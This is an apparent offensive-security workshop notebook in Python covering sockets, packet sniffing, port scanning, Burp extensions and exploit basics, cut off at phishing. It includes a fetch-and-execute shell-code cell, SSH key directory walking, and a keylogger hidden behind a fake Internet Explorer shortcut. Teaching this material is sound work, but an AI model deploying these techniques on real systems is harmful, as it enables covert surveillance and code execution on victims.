|
|
@@ -0,0 +1,1022 @@ |
|
|
{ |
|
|
"cells": [ |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"<center>\n", |
|
|
" <h1>Hunter2: Offensive Python workshop</h1>\n", |
|
|
" <img style=\"height:200px\" src=\"https://avatars2.githubusercontent.com/u/34970458\">\n", |
|
|
"</center>\n", |
|
|
"\n", |
|
|
"### https://hunter2.com\n", |
|
|
"### [email protected]" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Motivation:\n", |
|
|
"\n", |
|
|
"#### Why custom scripts?\n", |
|
|
"- Working on systems without services installed\n", |
|
|
"- Working around a firewall/security system\n", |
|
|
"- Crafting custom tools\n", |
|
|
"- More fully understanding how systems and tools work\n", |
|
|
"\n", |
|
|
"#### Why Python?\n", |
|
|
"- Free\n", |
|
|
"- Commonly found + easy to install\n", |
|
|
"- Flexible and extensible\n", |
|
|
"- Many existing modules\n", |
|
|
"- Large community" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"## OS basics" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"import os\n", |
|
|
"\n", |
|
|
"print(os.environ)\n", |
|
|
"\n", |
|
|
"print(os.getcwd())\n", |
|
|
"\n", |
|
|
"os.listdir(\".\")" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Directory walking\n", |
|
|
"\n", |
|
|
"import os\n", |
|
|
"\n", |
|
|
"keys_dir = os.path.expanduser('~/.ssh/') # expand from a user's local directory into /.ssh\n", |
|
|
"if os.path.isdir(keys_dir):\n", |
|
|
" for folder, subfolders, files in os.walk(keys_dir):\n", |
|
|
" print('Directory: %s' % folder)\n", |
|
|
" for fname in files:\n", |
|
|
" print('\\tFile: %s' % fname)" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Running shell commands\n", |
|
|
"import subprocess\n", |
|
|
"\n", |
|
|
"# v1: pass a list, starting with the command to run followed by args\n", |
|
|
"print(subprocess.check_output(['ls', '-a']).decode())\n", |
|
|
"\n", |
|
|
"# v2: use threads and Popen for more customization (partial example)\n", |
|
|
"proc = subprocess.Popen('pwd', stdout=subprocess.PIPE)\n", |
|
|
"proc.wait()\n", |
|
|
"for line in proc.stdout:\n", |
|
|
" print(line.decode())\n", |
|
|
"\n", |
|
|
"# v3: pass shellcode directly to the default shell\n", |
|
|
"print(subprocess.check_output(\"ls -a | wc -l\", shell=True).decode())" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Also available in Jupyter notebooks directly\n", |
|
|
"!pwd" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"%%ruby\n", |
|
|
"\n", |
|
|
"# Run other languages directly in notebook\n", |
|
|
"puts \"hello ruby\"" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Other magic available\n", |
|
|
"%lsmagic" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"## Creating clients and servers" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Basic sockets" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Simple HTTP server\n", |
|
|
"! python -m http.server\n", |
|
|
"\n", |
|
|
"#! python2 -m SimpleHTTPServer" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# TCP/IP client for raw HTTP traffic\n", |
|
|
"\n", |
|
|
"import socket\n", |
|
|
"\n", |
|
|
"target = (\"example.com\", 80)\n", |
|
|
"\n", |
|
|
"request = b\"\"\"\n", |
|
|
"GET / HTTP/1.1\n", |
|
|
"Host: example.com\n", |
|
|
"\n", |
|
|
"\"\"\" # note the extra empty line above to designate the end of the headers\n", |
|
|
"\n", |
|
|
"client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n", |
|
|
"# for UDP, would use socket.SOCK_DGRAM and sendto() / recvfrom() without establishing a connection\n", |
|
|
"\n", |
|
|
"client.settimeout(5)\n", |
|
|
"\n", |
|
|
"client.connect(target)\n", |
|
|
"client.send(request)\n", |
|
|
"\n", |
|
|
"response = client.recv(1024)\n", |
|
|
"print(response.decode())" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# TCP server\n", |
|
|
"\n", |
|
|
"import socket\n", |
|
|
"import threading\n", |
|
|
"\n", |
|
|
"target = ('localhost', 9001)\n", |
|
|
"max_connections = 5\n", |
|
|
"\n", |
|
|
"# Create a TCP/IP socket, bind to the target, and listen for up to max_connections\n", |
|
|
"sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n", |
|
|
"sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # allow port reuse if connection hangs\n", |
|
|
"sock.bind(target)\n", |
|
|
"sock.listen(max_connections)\n", |
|
|
"\n", |
|
|
"def handle_client(client):\n", |
|
|
" while True:\n", |
|
|
" data = client.recv(16) # Receive 16 bytes at a time\n", |
|
|
" if data:\n", |
|
|
" print(b'Received \"%s\"' % data)\n", |
|
|
" else:\n", |
|
|
" break\n", |
|
|
" client.sendall(b\"senpai noticed you\")\n", |
|
|
" client.close()\n", |
|
|
" print(\"Closed connection.\")\n", |
|
|
"\n", |
|
|
"while True:\n", |
|
|
" client, addr = sock.accept()\n", |
|
|
" print(\"Accepted connection from %s on port %s\" % addr)\n", |
|
|
" client_handler = threading.Thread(target=handle_client, args=(client,))\n", |
|
|
" client_handler.start()" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# TCP client (needs to be run in a separate process from the server above)\n", |
|
|
"\n", |
|
|
"import socket\n", |
|
|
"\n", |
|
|
"# Connect the socket to the port where the server is listening\n", |
|
|
"server_address = ('localhost', 9001)\n", |
|
|
"sock = socket.create_connection(server_address)\n", |
|
|
"\n", |
|
|
"message = b'Hello server. Please acknowledge me.'\n", |
|
|
"\n", |
|
|
"try:\n", |
|
|
" print('Sending: %s\"' % message)\n", |
|
|
" sock.sendall(message)\n", |
|
|
" while True:\n", |
|
|
" data = sock.recv(1024)\n", |
|
|
" if data:\n", |
|
|
" print('Received: %s' % data)\n", |
|
|
" else:\n", |
|
|
" break\n", |
|
|
"finally:\n", |
|
|
" sock.close()" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### SSH server + client" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"#### Paramiko demo SSH server:\n", |
|
|
"Visit https://github.com/paramiko/paramiko/tree/master/demos for the following files:\n", |
|
|
"- `demo_server.py`\n", |
|
|
"- `test_rsa.key` RSA demo private key\n", |
|
|
"- `demo.py` client\n", |
|
|
"- `interactive.py` for interactive shell, in same folder as `demo.py`\n", |
|
|
"\n", |
|
|
"username: `robey`, password: `foo`\n", |
|
|
"\n", |
|
|
"Point `demo_server.py` at the `test_rsa.key` file and set `DoGSSAPIKeyExchange` to be `False`" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Generating custom server keys\n", |
|
|
"! openssl genrsa -des3 -out ssh_private.pem 2048\n", |
|
|
"! openssl rsa -in ssh_private.pem -outform PEM -pubout -out ssh_public.pem" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### FTP server" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Uses twistd, Twisted daemon\n", |
|
|
"# need to `pip install twisted` first\n", |
|
|
"# `-n` flag runs Twisted synchronously in the foreground instead of as a background daemon\n", |
|
|
"\n", |
|
|
"! twistd -n ftp" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Anonymous FTP client access" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"import ftplib\n", |
|
|
"\n", |
|
|
"for host in ['ftp.ubuntu.com', 'ftp.debian.org']:\n", |
|
|
" try:\n", |
|
|
" ftp = ftplib.FTP(host)\n", |
|
|
" ftp.login() # no credentials passed\n", |
|
|
" print('Succeeded at ' + str(host))\n", |
|
|
" print(ftp.retrlines('LIST'))\n", |
|
|
" ftp.quit()\n", |
|
|
" except Exception:\n", |
|
|
" print('Failed at ' + str(host))" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### SSH/DNS traffic tunnels: sshuttle\n", |
|
|
"\n", |
|
|
"https://github.com/apenwarr/sshuttle\n", |
|
|
"\n", |
|
|
"Video demo using Amazon EC2 for SSH tunneling: https://youtu.be/dl2FsIfHo84" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"## Capturing network packets" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Scenarios:\n", |
|
|
"- Open wifi sniffing\n", |
|
|
"- Man-in-the-middle attacks\n", |
|
|
"- Data exfiltration\n", |
|
|
"- Custom honeypot\n", |
|
|
"- Network debugging" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Installing scapy:\n", |
|
|
"\n", |
|
|
"##### Easiest to use in a [Kali Linux VM](https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/) as root:\n", |
|
|
"\n", |
|
|
"```\n", |
|
|
"pip install scapy\n", |
|
|
"pip install pcapy\n", |
|
|
"```\n", |
|
|
"\n", |
|
|
"##### On MacOS/etc, easiest to run Scapy interactively:\n", |
|
|
"\n", |
|
|
"```\n", |
|
|
"git clone https://github.com/secdev/scapy/\n", |
|
|
"cd scapy/\n", |
|
|
"sudo ./run_scapy_py3\n", |
|
|
"```" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Sniff the next available packet\n", |
|
|
"\n", |
|
|
"from scapy.all import sniff\n", |
|
|
"\n", |
|
|
"sniff(prn=lambda p: p.show(), count=1)" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Sniff any ICMP traffic to/from Google Public DNS over the next 10 seconds\n", |
|
|
"\n", |
|
|
"from scapy.all import sniff\n", |
|
|
"\n", |
|
|
"# optionally pass iface=\"en0\" to specify e.g. en0 as the network interface for sniffing\n", |
|
|
"pings = sniff(filter=\"icmp and host 8.8.8.8\", timeout=10)\n", |
|
|
"pings.summary()" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"## Custom packet crafting and port scanning " |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Ping a site and receive a single response\n", |
|
|
"\n", |
|
|
"from scapy.all import sr1, IP, ICMP\n", |
|
|
"\n", |
|
|
"ping_req = IP(dst=\"example.com\")/ICMP()/\"ABC123ABC123\"\n", |
|
|
"\n", |
|
|
"reply = sr1(ping_req)\n", |
|
|
"\n", |
|
|
"# Display the results in various formats\n", |
|
|
"reply\n", |
|
|
"reply.summary()\n", |
|
|
"reply.show()" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Send SYN-ACK packet to Google and display replies\n", |
|
|
"\n", |
|
|
"from scapy.all import IP, TCP, sr1\n", |
|
|
"\n", |
|
|
"syn_ack = IP(dst=\"google.com\")/TCP(dport=80, flags=\"SA\")\n", |
|
|
"reply = sr1(syn_ack, timeout=3)\n", |
|
|
"\n", |
|
|
"reply\n", |
|
|
"# may be empty if unanswered; may be e.g. \"RST\"" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Simple TCP SYN Scanner (or Flooder...)" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Summarize responses to SYN packets from specific ports\n", |
|
|
"\n", |
|
|
"from scapy.all import IP, TCP, sr\n", |
|
|
"\n", |
|
|
"packet = IP(dst=\"example.com\")/TCP(dport=[21,80,443], flags=\"S\")\n", |
|
|
"ans, unans = sr(packet, timeout=5)\n", |
|
|
"\n", |
|
|
"# ans is a two-tuple of (source, reply)\n", |
|
|
"ans.summary(lambda a: a[1].sprintf(\"Port: %TCP.sport% \\t Flags: %TCP.flags%\"))" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Create a table of responses across multiple IPs\n", |
|
|
"\n", |
|
|
"from scapy.all import IP, TCP, sr\n", |
|
|
"\n", |
|
|
"packet = IP(dst=[\"example.com\", \"microsoft.com\", \"ftp.ubuntu.com\"])/TCP(dport=[21,80,443], flags=\"S\")\n", |
|
|
"a, u = sr(packet, timeout=5)\n", |
|
|
"a.make_table(lambda a: (a[0].dst, a[0].dport, \"X\"))" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"## Web scraping and browser automation" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Get a webpage using built-in urllib\n", |
|
|
"\n", |
|
|
"# Python2: import urllib2\n", |
|
|
"from urllib.request import urlopen\n", |
|
|
"\n", |
|
|
"response = urlopen(\"https://example.com\")\n", |
|
|
"print(response.read().decode())" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Get a webpage using requests\n", |
|
|
"\n", |
|
|
"import requests\n", |
|
|
"\n", |
|
|
"response = requests.get(\"https://example.com\")\n", |
|
|
"print(\"Status code: {}\".format(response.status_code))\n", |
|
|
"print(response.content.decode())" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Scenarios:\n", |
|
|
"- Keep tabs on a website and respond quickly to changes\n", |
|
|
"- Automate bulk/repeated browser actions\n", |
|
|
"- Custom site crawler" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Grab the current stock price of YHOO\n", |
|
|
"\n", |
|
|
"import requests\n", |
|
|
"from bs4 import BeautifulSoup\n", |
|
|
"\n", |
|
|
"custom_headers = {\n", |
|
|
" 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0',\n", |
|
|
"}\n", |
|
|
"\n", |
|
|
"# ^GSPC, the S&P 500\n", |
|
|
"url = \"http://finance.yahoo.com/q?s=%5EGSPC\"\n", |
|
|
"\n", |
|
|
"response = requests.get(url, headers=custom_headers)\n", |
|
|
"soup = BeautifulSoup(response.content, 'lxml')\n", |
|
|
"\n", |
|
|
"# Search HTML for unique tags around the price\n", |
|
|
"tags = soup.find_all(\"span\", attrs={'data-reactid': '35'})\n", |
|
|
"price = tags[0].string\n", |
|
|
"print(price)\n", |
|
|
"\n", |
|
|
"tags = soup.find_all(\"span\", attrs={'data-reactid': '36'})\n", |
|
|
"delta = tags[0].string\n", |
|
|
"print(delta)" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Custom scripts to extend existing tools\n", |
|
|
"\n", |
|
|
"#### Burp Suite Extender\n", |
|
|
"\n", |
|
|
"- Automate manual/complex tasks\n", |
|
|
"- Work with special encoding or unusual data structures (custom serialization)\n", |
|
|
"- Have more granular control of request and response data\n", |
|
|
"- Extend attack logic (e.g. while spidering a site, try a simple attack on all pages matching X)" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# First download and install Jython standalone JAR (Python running on Java): jython.org/downloads.html\n", |
|
|
"# Then point Burp Suite > Extender > Options > Python Environment at the downloaded .jar file\n", |
|
|
"\n", |
|
|
"# The following code goes into a separate .py file loaded into Burp Suite > Extender > Extensions\n", |
|
|
"\n", |
|
|
"from burp import IBurpExtender\n", |
|
|
"\n", |
|
|
"class BurpExtender(IBurpExtender):\n", |
|
|
" def registerExtenderCallbacks(self, callbacks):\n", |
|
|
" callbacks.setExtensionName(\"L33t 3xt3ns10n\")\n", |
|
|
" callbacks.issueAlert(\"Hello alerts tab\")\n", |
|
|
"\n", |
|
|
"# Once loaded, check Burp Suite's Alerts tab on the far right for output from the extension" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"#### First, a minor diversion - simple Python server for a login page:" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# The page shows the current user when the correct credentials (admin/p@ssw0rd) are supplied\n", |
|
|
"\n", |
|
|
"# Python2:\n", |
|
|
"# from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\n", |
|
|
"# from urlparse import parse_qsl\n", |
|
|
"\n", |
|
|
"from http.server import BaseHTTPRequestHandler, HTTPServer\n", |
|
|
"from urllib.parse import parse_qsl\n", |
|
|
"from base64 import b64decode\n", |
|
|
"\n", |
|
|
"class SimpleServe(BaseHTTPRequestHandler):\n", |
|
|
" page = \"\"\"\n", |
|
|
" <html><body>\n", |
|
|
" <form method=\"POST\">\n", |
|
|
" Username: <input type=\"text\" name=\"user\" required><br />\n", |
|
|
" Password: <input type=\"password\" name=\"pwd\" required><br />\n", |
|
|
" <button type=\"submit\">Login</button>\n", |
|
|
" </form>\n", |
|
|
" Current logged-in user: <span id=\"current-user\">{}</span>\n", |
|
|
" </body></html>\n", |
|
|
" \"\"\"\n", |
|
|
"\n", |
|
|
" def _respond(self, user):\n", |
|
|
" self.send_response(200)\n", |
|
|
" self.send_header('Content-type', 'text/html')\n", |
|
|
" self.end_headers()\n", |
|
|
" self.wfile.write(self.page.format(user).encode())\n", |
|
|
"\n", |
|
|
" def do_GET(self):\n", |
|
|
" self._respond(\"-\")\n", |
|
|
"\n", |
|
|
" def do_POST(self):\n", |
|
|
" content_length = int(self.headers.get('Content-Length'))\n", |
|
|
" post_data = self.rfile.read(content_length)\n", |
|
|
" params = dict(parse_qsl(post_data))\n", |
|
|
" if b64decode(self.headers.get('Authorization', '')) != params.get('user'):\n", |
|
|
" self._respond(\"UNAUTHORIZED\")\n", |
|
|
" elif params.get('user') == 'admin' and params.get('pwd') == 'p@ssw0rd':\n", |
|
|
" self._respond(\"admin\")\n", |
|
|
" else:\n", |
|
|
" self._respond(\"-\")\n", |
|
|
"\n", |
|
|
"s = HTTPServer(('', 8088), SimpleServe)\n", |
|
|
"s.serve_forever()" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"#### Burp Suite extension for modifying requests" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Burp Suite Python extension for client-side signing of requests\n", |
|
|
"# use processProxyMessage to rewrite outbound traffic\n", |
|
|
"\n", |
|
|
"from burp import IBurpExtender, IProxyListener\n", |
|
|
"from base64 import b64encode\n", |
|
|
"\n", |
|
|
"class BurpExtender(IBurpExtender, IProxyListener):\n", |
|
|
" def registerExtenderCallbacks(self, callbacks):\n", |
|
|
" self._helpers = callbacks.getHelpers()\n", |
|
|
" callbacks.registerProxyListener(self)\n", |
|
|
" callbacks.setExtensionName(\"Add Custom Auth Header\")\n", |
|
|
"\n", |
|
|
" def processProxyMessage(self, is_request, message):\n", |
|
|
" if not is_request:\n", |
|
|
" return\n", |
|
|
"\n", |
|
|
" request = message.getMessageInfo()\n", |
|
|
" request_data = self._helpers.analyzeRequest(request)\n", |
|
|
" body_raw = request.getRequest()[request_data.getBodyOffset():]\n", |
|
|
" body = self._helpers.bytesToString(body_raw)\n", |
|
|
"\n", |
|
|
" headers = list(request_data.getHeaders())\n", |
|
|
" params = list(request_data.getParameters())\n", |
|
|
" for param in params:\n", |
|
|
" if param.name == 'user':\n", |
|
|
" username = str(param.value)\n", |
|
|
" headers.append(\"Authorization: \" + b64encode(username))\n", |
|
|
" break\n", |
|
|
"\n", |
|
|
" new_message = self._helpers.buildHttpMessage(headers, body)\n", |
|
|
" print(self._helpers.bytesToString(new_message))\n", |
|
|
" request.setRequest(new_message)" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"## Exploit development" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Execute shell code" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Create a payload file to be served (locally, in this example)\n", |
|
|
"\n", |
|
|
"from base64 import b64encode\n", |
|
|
"\n", |
|
|
"# shellcode payload to be base64-encoded\n", |
|
|
"payload = b64encode(b\"\"\"\n", |
|
|
"echo 'hello target'\n", |
|
|
"pwd\n", |
|
|
"\"\"\").decode()\n", |
|
|
"\n", |
|
|
"# save code as a file\n", |
|
|
"! echo \"{payload}\" > exploit\n", |
|
|
"\n", |
|
|
"# serve the file (needs to be running separate instance from the execution below)\n", |
|
|
"! python -m http.server\n", |
|
|
"\n", |
|
|
"#! python2 -m SimpleHTTPServer" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Grab shell code from the web and execute it\n", |
|
|
"\n", |
|
|
"# Python2: from urllib2 import urlopen\n", |
|
|
"from urllib.request import urlopen\n", |
|
|
"from base64 import b64decode\n", |
|
|
"import subprocess\n", |
|
|
"\n", |
|
|
"response = urlopen(\"http://localhost:8000/exploit\")\n", |
|
|
"code = b64decode(response.read())\n", |
|
|
"\n", |
|
|
"for line in code.decode().split('\\n'):\n", |
|
|
" print(subprocess.check_output(line, shell=True).decode())" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Keylogging on Windows" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# PyHook for capturing Windows events\n", |
|
|
"\n", |
|
|
"# First install pyHook on Windows:\n", |
|
|
"# http://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook\n", |
|
|
"# Download pyHook‑1.5.1‑cp27‑cp27m‑win32.whl\n", |
|
|
"# pip install pyHook‑1.5.1‑cp27‑cp27m‑win32.whl\n", |
|
|
"\n", |
|
|
"# Also pip install pypiwin32 (for pythoncom module)\n", |
|
|
"\n", |
|
|
"\n", |
|
|
"###### launch.bat file to replicate Internet Explorer as a shortcut:\n", |
|
|
"@echo off\n", |
|
|
"start \"\" \"c:\\logger.pyw\"\n", |
|
|
"start \"\" \"c:\\program files (x86)\\internet explorer\\iexplore.exe\"\n", |
|
|
"######\n", |
|
|
"\n", |
|
|
"###### .PYW file to run in the background without console output:\n", |
|
|
"import pyHook\n", |
|
|
"import pythoncom\n", |
|
|
"import logging\n", |
|
|
"\n", |
|
|
"log = \"C:\\\\Users\\\\myname\\\\log.txt\"\n", |
|
|
"\n", |
|
|
"def OnKeyboardEvent(event):\n", |
|
|
" logging.basicConfig(filename=log, level=logging.DEBUG, format='%(message)s')\n", |
|
|
" chr(event.Ascii)\n", |
|
|
" logging.log(10, chr(event.Ascii))\n", |
|
|
" return True\n", |
|
|
"\n", |
|
|
"hooks_manager = pyHook.Hook2Manager()\n", |
|
|
"hooks_manager.KeyDown = OnKeyboardEvent\n", |
|
|
"hooks_manager.HookKeyboard()\n", |
|
|
"pythoncom.PumpMessages()" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# PyWin32 for screenshots\n", |
|
|
"\n", |
|
|
"import win32gui, win32ui, win32con, win32api\n", |
|
|
"\n", |
|
|
"hwin = win32gui.GetDesktopWindow()\n", |
|
|
"width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)\n", |
|
|
"height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)\n", |
|
|
"left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)\n", |
|
|
"top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)\n", |
|
|
"hwindc = win32gui.GetWindowDC(hwin)\n", |
|
|
"srcdc = win32ui.CreateDCFromHandle(hwindc)\n", |
|
|
"memdc = srcdc.CreateCompatibleDC()\n", |
|
|
"bmp = win32ui.CreateBitmap()\n", |
|
|
"bmp.CreateCompatibleBitmap(srcdc, width, height)\n", |
|
|
"memdc.SelectObject(bmp)\n", |
|
|
"memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY)\n", |
|
|
"bmp.SaveBitmapFile(memdc, 'C:\\\\Users\\\\myname\\\\Downloads\\\\screenshot.bmp')\n" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Evading detection\n", |
|
|
"- Encryption/obfuscation\n", |
|
|
"- Sandbox detection\n", |
|
|
"- PyInstaller\n", |
|
|
"- Custom code\n", |
|
|
"- Hooks and pivots" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"## Automated phishing" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": { |
|
|
"collapsed": true |
|
|
}, |
|
|
"source": [ |
|
|
"### Scraping and creatively reusing information\n", |
|
|
"\n", |
|
|
"Related projects to check out:\n", |
|
|
"- [lyricize](https://github.com/fheisler/lyricize): Markov chains to generate lyrics\n", |
|
|
"- [natural language processing on Gmail messages](http://engineroom.trackmaven.com/blog/monthly-challenge-natural-language-processing/) using [NLTK](http://www.nltk.org/)" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
